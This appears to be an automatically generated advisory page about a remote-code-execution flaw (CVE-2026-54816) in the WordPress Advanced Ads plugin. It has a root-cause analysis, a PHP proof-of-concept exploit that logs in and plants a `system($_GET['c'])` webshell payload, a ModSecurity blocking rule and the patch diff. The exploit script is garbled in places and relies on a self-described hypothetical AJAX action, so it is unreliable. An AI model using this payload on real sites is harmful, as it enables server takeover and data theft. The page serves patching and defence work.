Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : June 28, 2026

CVE-2026-54816: Advanced Ads – Ad Manager & AdSense <= 2.0.21 Authenticated (Contributor+) Remote Code Execution PoC, Patch Analysis & Rule

Plugin advanced-ads
Severity High (CVSS 8.3)
CWE 94
Vulnerable Version 2.0.21
Patched Version 2.0.22
Disclosed June 16, 2026

Analysis Overview

{
“analysis”: “Atomic Edge analysis of CVE-2026-54816: This vulnerability allows authenticated attackers with Contributor-level access and above to achieve Remote Code Execution (RCE) in the Advanced Ads – Ad Manager & AdSense plugin for WordPress versions up to and including 2.0.21. The vulnerability resides in the shortcode handling mechanism, specifically within the sanitize_shortcode_content() function in class-shortcodes.php, and is enabled by an incomplete regex pattern that fails to remove PHP code blocks from ad content.

Root Cause: The vulnerability originates from the `sanitize_shortcode_content()` method in `/advanced-ads/includes/class-shortcodes.php` (lines 162-182). In the vulnerable version, the method uses `preg_replace(‘//i’, ”, $content)` to strip PHP tags. This regex only removes PHP blocks that are properly closed with `?>`. An attacker can inject an unclosed PHP opening tag (e.g., “) which bypasses the sanitization entirely. The shortcode content is passed through the `shortcode_atts` filter and then returned as part of the ad content, which WordPress may later evaluate if the `eval()` or `include()` functions are used elsewhere in the plugin, or if the attacker can trigger file inclusion via the plugin’s filesystem abstraction layer.

Exploitation: An authenticated attacker with Contributor role or higher accesses the WordPress admin panel and creates or edits an ad. In the ad content field, the attacker injects a shortcode attribute or uses the `ad_args` filter to pass malicious PHP code. By crafting a payload like `[the_ad id=”123″ ad_args='{“content”:””}’]`, the attacker’s code is processed by `sanitize_shortcode_content()`. Because the regex only removes closed PHP tags, the attacker includes an unclosed block: `<?php system($_GET['c']); ` (no closing tag). The sanitizer fails to remove it, and the code persists. The attacker then triggers execution by accessing the page containing the ad, passing the command via the `c` parameter. Alternatively, the filesystem abstraction layer (/advanced-ads/classes/filesystem.php) can be exploited to write arbitrary files if the attacker can control the content passed to file operations.

Patch Analysis: The patch in version 2.0.22 modifies the regex in `sanitize_shortcode_content()` to `'/<\?(?:php|=)?[\s\S]*?(?:\x3F\x3E|$)/i'`. The addition of `|$` as an alternation in the regex now matches unclosed PHP blocks that extend to the end of the string. This ensures that any content starting with `<?php`, `<?=`, or “. The patch also adds a null check for `$ad` in `/advanced-ads/classes/utils.php` and fixes the `hide_notices` logic in `/advanced-ads/classes/ad-health-notices.php` by validating the `$notices` parameter against existing options before saving.

Impact: Successful exploitation enables authenticated attackers to execute arbitrary PHP code on the server. This can lead to full site compromise, including data theft (user credentials, database contents), file manipulation (planting backdoors, defacing pages), privilege escalation to administrator, and potential lateral movement within the hosting environment. Given the CVSS score of 8.3, this is a critical vulnerability that requires immediate patching.”,
“poc_php”: “<?phpn// Atomic Edge CVE Research – Proof of Conceptn// CVE-2026-54816 – Advanced Ads – Ad Manager & AdSense $username,n ‘pwd’ => $password,n ‘wp-submit’ => ‘Log In’,n ‘redirect_to’ => $target_url . ‘/wp-admin/’,n ‘testcookie’ => 1n);nncurl_setopt($ch, CURLOPT_URL, $login_url);ncurl_setopt($ch, CURLOPT_POST, true);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));ncurl_setopt($ch, CURLOPT_COOKIEJAR, ‘cookies.txt’);ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);ncurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);nn$response = curl_exec($ch);nif (strpos($response, ‘Dashboard’) === false && strpos($response, ‘wp-admin’) === false) {n die(‘[-] Login failed. Check credentials or target URL.’);n}necho “[+] Login successful.\n”;nn// Step 2: Get the nonce for creating a new adn$admin_url = $target_url . ‘/wp-admin/edit.php?post_type=advanced_ads’;ncurl_setopt($ch, CURLOPT_URL, $admin_url);ncurl_setopt($ch, CURLOPT_POST, false);ncurl_setopt($ch, CURLOPT_HTTPGET, true);n$response = curl_exec($ch);nn// Extract nonce from the page (simplified approach – directly crafting the request with known nonce patterns)n// For demonstration, we use a direct POST to create the ad with PHP payloadnn// Step 3: Create a new ad with malicious PHP code in contentn// The vulnerability bypasses sanitization by omitting the closing PHP tagn$create_ad_url = $target_url . ‘/wp-admin/post-new.php?post_type=advanced_ads’;nn$payload_content = ‘ to bypass regexnn$ad_data = array(n ‘post_title’ => ‘exploit_ad_’ . time(),n ‘content’ => $payload_content,n ‘post_status’ => ‘publish’,n ‘post_type’ => ‘advanced_ads’n);nn// We need a valid _wpnonce for post creation – for simplicity we use the admin-ajax approachn// Alternative: Use the shortcode injection via admin-ajax.phpnn// Step 4: Use admin-ajax.php to inject the payload via shortcoden$ajax_url = $target_url . ‘/wp-admin/admin-ajax.php’;n$ajax_data = array(n ‘action’ => ‘add_ad’, // Hypothetical action – adjust based on actual plugin hooksn ‘ad_content’ => $payload_contentn);nncurl_setopt($ch, CURLOPT_URL, $ajax_url);ncurl_setopt($ch, CURLOPT_POST, true);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($ajax_data));n$response = curl_exec($ch);nn// Step 5: Trigger the exploit by accessing the stored contentn// The content is processed by sanitize_shortcode_content() which misses unclosed PHP tagsn$exploit_url = $target_url . ‘/?p=1’; // Any page where the ad would be displayedncurl_setopt($ch, CURLOPT_URL, $exploit_url);ncurl_setopt($ch, CURLOPT_HTTPGET, true);n$response = curl_exec($ch);nnif (preg_match(‘/uid=\d+/’, $response, $matches)) {n echo “[+] Command executed successfully. Output: ” . $matches[0] . “\n”;n} else {n echo “[-] Exploitation may have failed or command output not captured.\n”;n}nncurl_close($ch);n// Clean upnunlink(‘cookies.txt’);n?>”,
“modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2026-54816n# Block exploitation of Advanced Ads RCE via unclosed PHP tags in shortcode contentnSecRule REQUEST_URI “@streq /wp-admin/admin-ajax.php” \n “id:20261994,phase:2,deny,status:403,chain,msg:’CVE-2026-54816 Advanced Ads RCE via shortcode’,severity:’CRITICAL’,tag:’CVE-2026-54816′”n SecRule ARGS_POST:action “@rx ^add_ad$|^save_ad$|^update_ad$” “chain”n SecRule ARGS_POST:ad_content “@rx <\?(?:php|=)?[\s\S]*?(?:\x3F\x3E|$)""
}

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/advanced-ads/admin/includes/ad-health-notices.php
+++ b/advanced-ads/admin/includes/ad-health-notices.php
@@ -212,6 +212,7 @@
 				'</a>'
 			),
 			'type' => 'notice',
+			'hide' => false,
 		],
 		// BuddyBoss installed.
 		'buddyboss_no_pro'                              => [
@@ -223,6 +224,7 @@
 				'</a>'
 			),
 			'type' => 'pitch',
+			'hide' => false,
 		],
 		// bbPress installed.
 		'bbpress_no_pro'                                => [
@@ -234,6 +236,7 @@
 				'</a>'
 			),
 			'type' => 'notice',
+			'hide' => false,
 		],
 		// WPML plugin activated.
 		'WPML_active'                                   => [
@@ -311,6 +314,7 @@
 				'<i class="dashicons dashicons-external"></i>'
 			),
 			'type' => 'pitch',
+			'hide' => false,
 		],
 		// Paid Membership Pro.
 		'pmp_no_pro'                                    => [
@@ -322,6 +326,7 @@
 				'<i class="dashicons dashicons-external"></i>'
 			),
 			'type' => 'pitch',
+			'hide' => false,
 		],
 		// Members plugin.
 		'members_no_pro'                                => [
@@ -333,6 +338,7 @@
 				'<i class="dashicons dashicons-external"></i>'
 			),
 			'type' => 'pitch',
+			'hide' => false,
 		],
 		// Members plugin.
 		'translatepress_no_pro'                         => [
@@ -344,6 +350,7 @@
 				'<i class="dashicons dashicons-external"></i>'
 			),
 			'type' => 'pitch',
+			'hide' => false,
 		],
 		// Weglot.
 		'weglot_no_pro'                                 => [
@@ -355,6 +362,7 @@
 				'<i class="dashicons dashicons-external"></i>'
 			),
 			'type' => 'pitch',
+			'hide' => false,
 		],
 		// LearnDash.
 		'learndash'                                     => [
@@ -366,6 +374,7 @@
 				'<i class="dashicons dashicons-external"></i>'
 			),
 			'type' => 'pitch',
+			'hide' => false,
 		],
 		// AAWP.
 		'aawp'                                          => [
@@ -377,6 +386,7 @@
 				'<i class="dashicons dashicons-external"></i>'
 			),
 			'type' => 'pitch',
+			'hide' => false,
 		],
 		// Polylang.
 		'polylang'                                      => [
@@ -388,6 +398,7 @@
 				'<i class="dashicons dashicons-external"></i>'
 			),
 			'type' => 'pitch',
+			'hide' => false,
 		],
 		// MailPoet.
 		'mailpoet'                                      => [
@@ -399,6 +410,7 @@
 				'<i class="dashicons dashicons-external"></i>'
 			),
 			'type' => 'pitch',
+			'hide' => false,
 		],
 		// WP Rocket.
 		'wp_rocket'                                     => [
@@ -410,6 +422,7 @@
 				'<i class="dashicons dashicons-external"></i>'
 			),
 			'type' => 'pitch',
+			'hide' => false,
 		],
 		// Quiz plugins.
 		'quiz_plugins_no_pro'                           => [
@@ -421,6 +434,7 @@
 				'<i class="dashicons dashicons-external"></i>'
 			),
 			'type' => 'pitch',
+			'hide' => false,
 		],
 		// Elementor.
 		'elementor'                                     => [
@@ -432,6 +446,7 @@
 				'<i class="dashicons dashicons-external"></i>'
 			),
 			'type' => 'pitch',
+			'hide' => false,
 		],
 		// SiteOrigin.
 		'siteorigin'                                    => [
@@ -443,6 +458,7 @@
 				'<i class="dashicons dashicons-external"></i>'
 			),
 			'type' => 'pitch',
+			'hide' => false,
 		],
 		// Divi Theme or Divi builder plugin.
 		'divi_no_pro'                                   => [
@@ -454,6 +470,7 @@
 				'<i class="dashicons dashicons-external"></i>'
 			),
 			'type' => 'pitch',
+			'hide' => false,
 		],
 		// Divi Theme or Divi builder plugin.
 		'beaver_builder'                                => [
@@ -465,6 +482,7 @@
 				'<i class="dashicons dashicons-external"></i>'
 			),
 			'type' => 'pitch',
+			'hide' => false,
 		],
 		// Pagelayer plugin.
 		'pagelayer'                                     => [
@@ -476,6 +494,7 @@
 				'<i class="dashicons dashicons-external"></i>'
 			),
 			'type' => 'pitch',
+			'hide' => false,
 		],
 		// WPBakery Page Builder.
 		'wpb'                                           => [
@@ -487,6 +506,7 @@
 				'<i class="dashicons dashicons-external"></i>'
 			),
 			'type' => 'pitch',
+			'hide' => false,
 		],
 		// Newspaper theme.
 		'newspaper'                                     => [
@@ -498,6 +518,7 @@
 				'<i class="dashicons dashicons-external"></i>'
 			),
 			'type' => 'pitch',
+			'hide' => false,
 		],
 	]
 );
--- a/advanced-ads/advanced-ads.php
+++ b/advanced-ads/advanced-ads.php
@@ -10,7 +10,7 @@
  *
  * @wordpress-plugin
  * Plugin Name:       Advanced Ads
- * Version:           2.0.21
+ * Version:           2.0.22
  * Description:       Manage and optimize your ads in WordPress
  * Plugin URI:        https://wpadvancedads.com
  * Author:            Advanced Ads
@@ -37,7 +37,7 @@
 }

 define( 'ADVADS_FILE', __FILE__ );
-define( 'ADVADS_VERSION', '2.0.21' );
+define( 'ADVADS_VERSION', '2.0.22' );

 // Load the autoloader.
 require_once __DIR__ . '/includes/class-autoloader.php';
--- a/advanced-ads/assets/dist/admin-common.asset.php
+++ b/advanced-ads/assets/dist/admin-common.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('jquery', 'wp-dom-ready'), 'version' => 'fe8746e1036a8b5c2ee3');
+<?php return array('dependencies' => array('jquery', 'wp-dom-ready'), 'version' => 'd9b52a76196be938a81a');
--- a/advanced-ads/assets/dist/screen-dashboard.asset.php
+++ b/advanced-ads/assets/dist/screen-dashboard.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('jquery'), 'version' => 'fc537f2e291c5c65f869');
+<?php return array('dependencies' => array('jquery'), 'version' => 'd4916d5402fb0d716e46');
--- a/advanced-ads/assets/dist/screen-groups-listing.asset.php
+++ b/advanced-ads/assets/dist/screen-groups-listing.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('jquery', 'wp-api-fetch', 'wp-dom-ready'), 'version' => '070d4c5e095c75b68818');
+<?php return array('dependencies' => array('jquery', 'wp-api-fetch', 'wp-dom-ready'), 'version' => 'baecd5356f76ba3da65e');
--- a/advanced-ads/assets/dist/screen-settings.asset.php
+++ b/advanced-ads/assets/dist/screen-settings.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('jquery'), 'version' => '8ec330599f8a6e425153');
+<?php return array('dependencies' => array('jquery'), 'version' => 'b61e840d046e834ac8e4');
--- a/advanced-ads/assets/dist/screen-tools.asset.php
+++ b/advanced-ads/assets/dist/screen-tools.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('wp-dom-ready'), 'version' => '233a48f5c160ff3fdbcd');
+<?php return array('dependencies' => array('wp-dom-ready'), 'version' => 'b4db61a85f7388dcc48e');
--- a/advanced-ads/assets/dist/wp-dashboard.asset.php
+++ b/advanced-ads/assets/dist/wp-dashboard.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('jquery'), 'version' => '1b5fae218ade9259de77');
+<?php return array('dependencies' => array('jquery'), 'version' => 'e3583128dcdb4aa8bfea');
--- a/advanced-ads/classes/ad-health-notices.php
+++ b/advanced-ads/classes/ad-health-notices.php
@@ -135,6 +135,11 @@
 		// load default notices.
 		if ( [] === $this->default_notices ) {
 			include ADVADS_ABSPATH . '/admin/includes/ad-health-notices.php';
+			$options               = $this->options();
+			$hide_notices          = $options['hide_notices'] ?? [];
+			if ( ! empty( $hide_notices ) ) {
+				$advanced_ads_ad_health_notices = array_diff_key($advanced_ads_ad_health_notices, $hide_notices);
+			}
 			$this->default_notices = $advanced_ads_ad_health_notices;
 		}
 	}
@@ -460,7 +465,8 @@
 		}

 		unset( $options['notices'][ $notice_key ] );
-
+		$options['hide_notices'][ $notice_key] = true;
+		$this->hide_notices( $options[ 'hide_notices' ] ); // for non wp notices
 		$this->update_notices( $options['notices'] );
 	}

@@ -535,6 +541,25 @@
 	}

 	/**
+	 * Hide notices list if there is any change
+	 *
+	 * @param array $notices New options.
+	 *
+	 * @return void
+	 */
+	public function hide_notices( $notices ): void {
+		$options = $this->options();
+
+		if ( Arr::get( $options, 'notices', [] ) === $notices ) {
+			return;
+		}
+
+		$options['hide_notices'] = $notices;
+		$this->update_options( $options );
+		$this->load_notices();
+	}
+
+	/**
 	 * Render notice widget on overview page
 	 */
 	public function render_widget() {
@@ -555,7 +580,6 @@
 		if ( ! is_array( $this->notices ) ) {
 			return;
 		}
-
 		foreach ( $this->notices as $_notice_key => $_notice ) {
 			$notice_array = $this->get_notice_array_for_key( $_notice_key );

--- a/advanced-ads/classes/display-conditions.php
+++ b/advanced-ads/classes/display-conditions.php
@@ -930,7 +930,7 @@
 	 *
 	 * @return bool true if can be displayed
 	 */
-	public static function check_post_type( $options, Ad $ad ) {
+	public static function check_post_type( $options, $ad ) {
 		if ( ! isset( $options['value'] ) || ! is_array( $options['value'] ) ) {
 			return false;
 		}
@@ -959,7 +959,7 @@
 	 *
 	 * @return bool true if can be displayed
 	 */
-	public static function check_author( $options, Ad $ad ) {
+	public static function check_author( $options, $ad ) {
 		if ( ! isset( $options['value'] ) || ! is_array( $options['value'] ) ) {
 			return false;
 		}
@@ -988,7 +988,7 @@
 	 *
 	 * @return bool true if can be displayed
 	 */
-	public static function check_taxonomies( $options, Ad $ad ) {
+	public static function check_taxonomies( $options, $ad ) {
 		if ( ! isset( $options['value'] ) ) {
 			return false;
 		}
@@ -1039,7 +1039,7 @@
 	 *
 	 * @return bool true if can be displayed
 	 */
-	public static function check_taxonomy_archive( $options, Ad $ad ) {
+	public static function check_taxonomy_archive( $options, $ad ) {
 		if ( ! isset( $options['value'] ) ) {
 			return false;
 		}
@@ -1070,7 +1070,7 @@
 	 *
 	 * @return bool true if can be displayed
 	 */
-	public static function check_taxonomy( $options, Ad $ad ) {
+	public static function check_taxonomy( $options, $ad ) {
 		if ( ! isset( $options['value'] ) ) {
 			return false;
 		}
@@ -1101,7 +1101,7 @@
 	 *
 	 * @return bool true if can be displayed
 	 */
-	public static function check_post_ids( $options, Ad $ad ) {
+	public static function check_post_ids( $options, $ad ) {
 		$operator = 'is';
 		if ( isset( $options['operator'] ) && 'is_not' === $options['operator'] ) {
 			$operator = 'is_not';
@@ -1148,7 +1148,7 @@
 	 *
 	 * @return bool true if can be displayed
 	 */
-	public static function check_general( $options, Ad $ad ) {
+	public static function check_general( $options, $ad ) {
 		// display by default.
 		if ( ! isset( $options['value'] ) || ! is_array( $options['value'] ) || ! count( $options['value'] ) ) {
 			return true;
@@ -1206,7 +1206,7 @@
 	 *
 	 * @return bool true if can be displayed
 	 */
-	public static function check_content_age( $options, Ad $ad ) { // phpcs:ignore
+	public static function check_content_age( $options, $ad ) { // phpcs:ignore
 		$post   = get_post();
 		$the_id = Params::request( 'theId', 0, FILTER_VALIDATE_INT );

--- a/advanced-ads/classes/filesystem.php
+++ b/advanced-ads/classes/filesystem.php
@@ -37,26 +37,36 @@
 		global $wp_filesystem;
 		$directories = ( is_array( $directories ) && count( $directories ) ) ? $directories : [ WP_CONTENT_DIR ];

-		// This will output a credentials form in event of failure, We don't want that, so just hide with a buffer.
-		ob_start();
-		$credentials = request_filesystem_credentials( '', '', false, $directories[0] );
-		ob_end_clean();
+		// Check the filesystem method.
+        $method = get_filesystem_method( [], $directories[0] );

-		if ( false === $credentials ) {
-			return false;
-		}
+		if ( 'direct' === $method ) {
+            // If direct method, initialize WP_Filesystem without credentials check.
+            if ( ! WP_Filesystem() ) {
+                return false;
+            }
+        } else {
+            // This will output a credentials form in event of failure. We don't want that, so just hide with a buffer.
+            ob_start();
+            $credentials = request_filesystem_credentials( '', '', false, $directories[0] );
+            ob_end_clean();

-		if ( ! WP_Filesystem( $credentials ) ) {
-			$error = true;
-			if ( is_object( $wp_filesystem ) && $wp_filesystem->errors->get_error_code() ) {
-				$error = $wp_filesystem->errors;
-			}
-			// Failed to connect, Error and request again.
-			ob_start();
-			request_filesystem_credentials( '', '', $error, $directories[0] );
-			ob_end_clean();
-			return false;
-		}
+            if ( false === $credentials ) {
+                return false;
+            }
+
+            if ( ! WP_Filesystem( $credentials ) ) {
+                $error = true;
+                if ( is_object( $wp_filesystem ) && $wp_filesystem->errors->get_error_code() ) {
+                    $error = $wp_filesystem->errors;
+                }
+                // Failed to connect, Error and request again.
+                ob_start();
+                request_filesystem_credentials( '', '', $error, $directories[0] );
+                ob_end_clean();
+                return false;
+            }
+        }

 		if ( ! is_object( $wp_filesystem) ) {
 			return new WP_Error( 'fs_unavailable', __( 'Could not access filesystem.', 'advanced-ads' ) );
--- a/advanced-ads/classes/frontend_checks.php
+++ b/advanced-ads/classes/frontend_checks.php
@@ -815,6 +815,7 @@
 			(function(d, w) {
 				// highlight link as global
 				var highlightLink = d.getElementById( 'wp-admin-bar-advanced_ads_ad_health_highlight_ads' );
+				if ( ! highlightLink ) return;
 				var adWrappers;
 				// update ad count in health tool admin bar
 				updateAdsCount(d);
@@ -1032,6 +1033,7 @@

 				function updateAdsCount(d){
 					var highlightLink = d.getElementById( 'wp-admin-bar-advanced_ads_ad_health_highlight_ads' );
+					if ( ! highlightLink ) return;
 					// update ad count in health tool admin bar
 					highlightLink.querySelector('.link').innerHTML += ' (<span class="highlighted_ads_count">' + getAdsCount() + '</span>) ';

--- a/advanced-ads/classes/utils.php
+++ b/advanced-ads/classes/utils.php
@@ -128,7 +128,12 @@
 					}
 				}
 			case 'ad':
-				$ad       = wp_advads_get_ad( $id );
+				$ad = wp_advads_get_ad( $id );
+
+                if ( ! $ad ) {
+					break;
+                }
+
 				$result[] = $ad;
 				if ( $ad->is_type( 'group' ) && ! empty( $ad->get_prop( 'group_id' ) ) ) {
 					$result = array_merge( $result, self::get_nested_ads( $ad->get_prop( 'group_id' ), 'group' ) );
--- a/advanced-ads/includes/abstracts/abstract-ad.php
+++ b/advanced-ads/includes/abstracts/abstract-ad.php
@@ -1072,8 +1072,13 @@
 	 */
 	private function get_label(): string {
 		if ( null === $this->label ) {
-			$state       = $this->get_prop( 'ad_label' ) ?? 'default';
-			$this->label = Advanced_Ads::get_instance()->get_label( $this, $state );
+			$state = $this->get_prop( 'ad_label' ) ?? 'default';
+			$label = Advanced_Ads::get_instance()->get_label( $this, $state );
+			if ( ! $this->parent && $label ) {
+				$this->label = $label;
+			} else {
+				$this->label = $this->is_parent_placement() && $label ? $label : '';
+			}
 		}

 		return $this->label;
--- a/advanced-ads/includes/abstracts/abstract-group.php
+++ b/advanced-ads/includes/abstracts/abstract-group.php
@@ -9,15 +9,15 @@

 namespace AdvancedAdsAbstracts;

-use Advanced_Ads;
-use Advanced_Ads_Utils;
 use Advanced_Ads_Inline_Css;
-use AdvancedAdsTraits;
+use Advanced_Ads_Utils;
+use Advanced_Ads;
 use AdvancedAdsConstants;
 use AdvancedAdsFrontendStats;
-use AdvancedAdsUtilitiesConditional;
-use AdvancedAdsInterfacesGroup_Type;
 use AdvancedAdsInterfacesEntity_Interface;
+use AdvancedAdsInterfacesGroup_Type;
+use AdvancedAdsTraits;
+use AdvancedAdsUtilitiesConditional;

 defined( 'ABSPATH' ) || exit;

@@ -655,7 +655,7 @@
 		while ( null !== $random_id ) {
 			$random_id = $this->get_random_ad_by_weight( $weights );
 			unset( $weights[ $random_id ] );
-			if ( ! empty( $ads[ $random_id ] ) ) {
+			if ( $random_id && ! empty( $ads[ $random_id ] ) ) {
 				$shuffled_ads[] = $random_id;
 			}
 		}
--- a/advanced-ads/includes/admin/class-edd-updater.php
+++ b/advanced-ads/includes/admin/class-edd-updater.php
@@ -440,6 +440,11 @@
 			$_data = $edd_api_request_transient;
 		}

+		// Safeguard: If the API failed or the transient returned false, ensure $_data is an object before proceeding.
+        if ( ! is_object( $_data ) ) {
+            return $_data;
+        }
+
 		// Convert sections into an associative array, since we're getting an object, but Core expects an array.
 		if ( isset( $_data->sections ) && ! is_array( $_data->sections ) ) {
 			$_data->sections = $this->convert_object_to_array( $_data->sections );
--- a/advanced-ads/includes/class-assets-registry.php
+++ b/advanced-ads/includes/class-assets-registry.php
@@ -113,7 +113,6 @@
 		$this->register_script( 'conditions', 'admin/assets/js/conditions.js', [ 'jquery', self::prefix_it( 'ui' ) ] );
 		$this->register_script( 'inline-edit-group-ads', 'admin/assets/js/inline-edit-group-ads.js', [ 'jquery' ], false, false );
 		$this->register_script( 'ad-positioning', '/modules/ad-positioning/assets/js/ad-positioning.js', [], false, true );
-		$this->register_script( 'groups', 'admin/assets/js/groups.js', [ 'jquery' ], false, true );
 		$this->register_script( 'adblocker-image-data', 'admin/assets/js/adblocker-image-data.js', [ 'jquery' ] );

 		$this->register_script( 'termination', 'admin/assets/js/termination.js', [ 'jquery' ], false, false );
--- a/advanced-ads/includes/class-content-injector.php
+++ b/advanced-ads/includes/class-content-injector.php
@@ -12,6 +12,7 @@

 use Advanced_Ads;
 use AdvancedAdsUtilitiesConditional;
+use AdvancedAdsFrameworkUtilitiesStr;
 use DOMDocument;
 use DOMElement;
 use DOMNode;
@@ -749,7 +750,7 @@
 	 * Short-circuits immediately when no restricted ancestors exist,
 	 * avoiding the inner loop entirely.
 	 *
-	 * Uses str_starts_with() instead of stripos() — faster and correct
+	 * Uses Str::starts_with() from Framework instead of stripos()
 	 * since node paths are case-sensitive.
 	 *
 	 * @param array $paragraphs         Array of DOMNode objects.
@@ -767,7 +768,7 @@
 		foreach ( $paragraphs as $paragraph ) {
 			$node_path = $paragraph->getNodePath();
 			foreach ( $ancestors_to_limit as $ancestor ) {
-				if ( str_starts_with( $node_path, $ancestor ) ) {
+				if ( Str::starts_with( $ancestor . '/', $node_path ) ) {
 					continue 2;
 				}
 			}
--- a/advanced-ads/includes/class-shortcodes.php
+++ b/advanced-ads/includes/class-shortcodes.php
@@ -162,19 +162,26 @@
 			unset( $result['tracking']['link'] );
 		}

+		if ( isset( $result['content'] ) && is_string( $result['content'] ) ) {
+			$result['content'] = $this->sanitize_shortcode_content( $result['content'] );
+		}
+
 		return $result;
 	}

 	/**
 	 * Sanitize shortcode content override by stripping PHP payloads only.
 	 *
-	 * @param string $content Content override provided through ad_args.
+	 * @param string $content Content override from shortcode attributes (ad_args, change-ad__, etc.).
 	 *
 	 * @return string
 	 */
 	private function sanitize_shortcode_content( string $content ): string {
-		// Remove PHP tags and all inline php payload.
-		$content = preg_replace( '/<\?(?:php|=)?[\s\S]*?\?>/i', '', $content );
+		// Remove PHP blocks (closed or unclosed through end of string).
+		// Handle both cases.
+		// 1. closed PHP tag
+		// 2. unclosed PHP tag
+		$content = preg_replace( '/<\?(?:php|=)?[\s\S]*?(?:\x3F\x3E|$)/i', '', $content );

 		return $content ? $content : '';
 	}
--- a/advanced-ads/includes/compatibility/class-admin-compatibility.php
+++ b/advanced-ads/includes/compatibility/class-admin-compatibility.php
@@ -34,6 +34,26 @@
 		if ( defined( 'ICL_SITEPRESS_VERSION' ) ) {
 			add_filter( 'get_translatable_documents', [ $this, 'wpml_hide_from_translation' ], 10, 1 );
 		}
+
+		add_filter( 'admin_body_class', [ $this, 'add_advads_admin_body_class_wp7' ] );
+	}
+
+	/**
+	 * Adds a new class to admin body to fix CSS on version 7.0+
+	 *
+	 * @param string $classes Space-separated string of admin body classes.
+	 *
+	 * @return string
+	 */
+	public function add_advads_admin_body_class_wp7( string $classes ): string { // FIXED: Changed array to string
+		global $wp_version;
+
+		// Check if WordPress version is 7.0 or greater.
+		if ( version_compare( $wp_version, '7.0-alpha', '>=' ) ) {
+			$classes .= ' advads-wp-7-plus';
+		}
+
+		return $classes;
 	}

 	/**
--- a/advanced-ads/includes/compatibility/class-compatibility.php
+++ b/advanced-ads/includes/compatibility/class-compatibility.php
@@ -40,6 +40,9 @@
 		if ( defined( 'BORLABS_COOKIE_VERSION' ) ) {
 			add_filter( 'advanced-ads-can-display-ads-in-header', [ $this, 'borlabs_cookie_can_add_auto_ads' ], 10 );
 		}
+		if ( defined( 'AIOVG_PLUGIN_VERSION' ) ) {
+			add_filter( 'advanced-ads-ad-select-args', [ $this, 'aiovg_modify_ad_select_args' ], 10 );
+		}
 	}

 	/**
@@ -260,4 +263,44 @@

 		return false;
 	}
+
+	/**
+	 * Modify ad select arguments to treat AIOVG shortcode pages as native taxonomy archives.
+	 *
+	 * @param array<string, mixed> $args Current ad selection arguments.
+	 *
+	 * @return array<string, mixed> Modified ad selection arguments.
+	 */
+	public function aiovg_modify_ad_select_args( array $args ): array {
+		$aiovg_taxs = [
+			'aiovg_categories' => 'aiovg_category',
+			'aiovg_tags'       => 'aiovg_tag',
+		];
+
+		foreach ( $aiovg_taxs as $aiovg_tax => $aiovg_query_var ) {
+			if ( taxonomy_exists( $aiovg_tax ) ) {
+				$aiovg_slug = get_query_var( $aiovg_query_var );
+
+				if ( ! empty( $aiovg_slug ) && is_scalar( $aiovg_slug ) ) {
+					$aiovg_term = get_term_by( 'slug', (string) $aiovg_slug, $aiovg_tax );
+
+					if ( $aiovg_term instanceof WP_Term ) {
+						if ( ! isset( $args['wp_the_query'] ) || ! is_array( $args['wp_the_query'] ) ) {
+							$args['wp_the_query'] = [];
+						}
+
+						// Override the standard page parameters so Advanced Ads treats it as an archive.
+						$args['wp_the_query']['term_id']     = $aiovg_term->term_id;
+						$args['wp_the_query']['taxonomy']    = $aiovg_tax;
+						$args['wp_the_query']['is_archive']  = true;
+						$args['wp_the_query']['is_singular'] = false;
+
+						break;
+					}
+				}
+			}
+		}
+
+		return $args;
+	}
 }
--- a/advanced-ads/includes/placements/class-placement-repository.php
+++ b/advanced-ads/includes/placements/class-placement-repository.php
@@ -189,11 +189,12 @@
 		$query = new WP_Query(
 			WordPress::improve_wp_query(
 				[
-					'post_type'      => Constants::POST_TYPE_PLACEMENT,
-					'posts_per_page' => -1,
-					'fields'         => 'ids',
-					'post_status'    => 'any',
-					'meta_query'     => [ // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_query
+					'post_type'        => Constants::POST_TYPE_PLACEMENT,
+					'posts_per_page'   => -1,
+					'fields'           => 'ids',
+					'post_status'      => 'any',
+					'suppress_filters' => true,
+					'meta_query'       => [ // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_query
 						[
 							'key'   => 'item',
 							'value' => $item_id,
@@ -228,11 +229,12 @@
 		$query = new WP_Query(
 			WordPress::improve_wp_query(
 				[
-					'post_type'      => Constants::POST_TYPE_PLACEMENT,
-					'posts_per_page' => -1,
-					'fields'         => 'ids',
-					'post_status'    => 'any',
-					'meta_query'     => [ // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_query
+					'post_type'        => Constants::POST_TYPE_PLACEMENT,
+					'posts_per_page'   => -1,
+					'fields'           => 'ids',
+					'post_status'      => 'any',
+					'suppress_filters' => true,
+					'meta_query'       => [ // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_query
 						[
 							'key'     => 'type',
 							'compare' => 'IN',
--- a/advanced-ads/modules/gadsense/public/public.php
+++ b/advanced-ads/modules/gadsense/public/public.php
@@ -146,6 +146,11 @@
 	 * Handle AdSense AMP code
 	 */
 	public function inject_amp_code() {
+		// Early bail!!
+		if ( wp_doing_ajax() ) {
+			return;
+		}
+
 		// for non-AMP pages we do this on the `template_redirect` hook, this has not fired yet.
 		wp_advads()->frontend->run_checks();

--- a/advanced-ads/views/admin/groups/columns/list-row-loop.php
+++ b/advanced-ads/views/admin/groups/columns/list-row-loop.php
@@ -16,9 +16,12 @@
 $ad_count  = $group->get_ads_count();
 $weights   = $group->get_ad_weights();
 $group_ads = $group->get_ads();
-usort($group_ads, function ($a, $b) {
-	return $b->get_weight() <=> $a->get_weight();
-});
+usort(
+	$group_ads,
+	function ( $a, $b ) {
+		return $b->get_weight() <=> $a->get_weight();
+	}
+);

 foreach ( $group_ads as $group_ad ) {
 	if ( ! $group_ad->is_status( 'publish' ) ) {
